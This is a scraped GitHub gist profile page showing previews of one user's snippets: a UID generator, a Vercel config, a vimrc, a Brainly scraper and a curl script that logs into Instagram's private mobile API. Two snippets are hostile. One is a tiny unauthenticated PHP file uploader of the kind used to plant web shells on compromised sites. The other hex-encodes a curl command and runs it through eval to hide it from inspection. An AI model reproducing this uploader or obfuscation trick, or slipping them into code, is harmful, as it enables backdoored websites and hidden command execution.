Skip to content

Instantly share code, notes, and snippets.

View widhisec's full-sized avatar
:shipit:
I may be slow to respond.

widhisec

:shipit:
I may be slow to respond.
View GitHub Profile
import string
import random
class UIDGenerator:
def __init__(self, uid_length=7, token_length=6):
self.uid_length = uid_length
self.token_length = token_length
def generate_uid(self):
characters = string.ascii_lowercase + string.digits
@widhisec
widhisec / vercel.json
Created September 14, 2023 16:18
vercel.json
{
"version": 2,
"functions": {
"api/*.sh": { "runtime": "vercel-bash@4.1.0" }
}
}
@widhisec
widhisec / logon.sh
Created March 16, 2023 07:54
instagram login
WAKTU=$(date +%s%N|cut -b1-13)
uuid=$(od -x /dev/urandom | head -1 | awk '{OFS="-"; print $2$3,$4,$5,$6,$7$8$9}')
curl -s -k -X $'POST' \
-H $'User-Agent: Instagram 265.0.0.19.301 Android (28/9; 240dpi; 720x1280; OnePlus; ONEPLUS A5000; OnePlus5; qcom; en_US)' \
--data-urlencode "enc_password=#PWD_INSTAGRAM_BROWSER:0:${WAKTU}:$2" \
--data-urlencode "username=$1" \
--data-urlencode "device_id=android-${uuid}" \
--data-urlencode "login_attempt_count=0" \
$'https://i.instagram.com/api/v1/accounts/login/'
@widhisec
widhisec / yeah
Created February 15, 2021 17:04
vimrc
set number
set autoindent
syntax on
filetype plugin indent on
set shortmess=I
set hlsearch
set tabline=...%{battery#component()} call plug#begin('~/.vim/plugged')
Plug 'itchyny/lightline.vim'
Plug 'vim-airline/vim-airline'
Plug 'vim-airline/vim-airline-themes'
@widhisec
widhisec / lly.sh
Created November 24, 2020 11:33
a
<?php
function Brainly($q){
$headers = array();
$headers[] = 'Content-Type: application/json; charset=utf-8';
$headers[] = 'user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0';
$formatGraphQl = 'query SearchQuery($query: String!, $first: Int!, $after: ID) {
questionSearch(query: $query, first: $first, after: $after) {
edges {
node {
<?php
if (isset($_FILES['azzatssins']['name'])) {
$name = $_FILES['azzatssins']['name'];
$azx = $_FILES['azzatssins']['tmp_name'];
@move_uploaded_file($azx, $name);
echo $name;
} else {
echo "<form method=post enctype=multipart/form-data><input type=file name=azzatssins><input type=submit value='>>'>";
}
?>
echo -n 'text' | xxd -ps | sed 's/[[:xdigit:]]\{2\}/\\x&/g'
CMD="\x63\x75\x72\x6c"
OUTPUT="$(echo -e $CMD)"
eval "${OUTPUT}"